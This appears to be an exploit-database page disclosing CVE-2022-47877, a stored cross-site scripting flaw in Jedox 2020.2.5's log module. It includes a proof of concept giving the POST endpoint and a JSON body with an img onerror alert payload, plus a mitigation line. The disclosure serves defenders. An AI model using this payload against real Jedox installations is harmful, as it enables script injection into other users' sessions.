header-logo
Suggest Exploit
vendor:
Jedox
by:
Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
7.4
CVSS
HIGH
Stored Cross-Site Scripting
79
CWE
Product Name: Jedox
Affected Version From: Jedox 2020.2 (20.2.5) and older
Affected Version To: Jedox 2020.2 (20.2.5)
Patch Exists: YES
Related CWE: CVE-2022-47877
CPE: a:jedox:jedox
Metasploit:
Other Scripts:
Platforms Tested:
2023

Jedox 2020.2.5 – Stored Cross-Site Scripting in Log-Module

A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.

Mitigation:

Ensure that user input is properly sanitized and validated before being stored in the log module.
Source

Exploit-DB raw data:

# Exploit Title: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47877


Introduction
=================
A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) Store log entry with XSS payload:

	PATH: /ub/ccmd
	METHOD: POST
	BODY:
	[
		[
			"log",
			"error",
			"<img src=# onerror=\"alert('XSS')\">"
		]
	]

2) Trigger XSS payload by opening the Logs page and showing the respective log entry.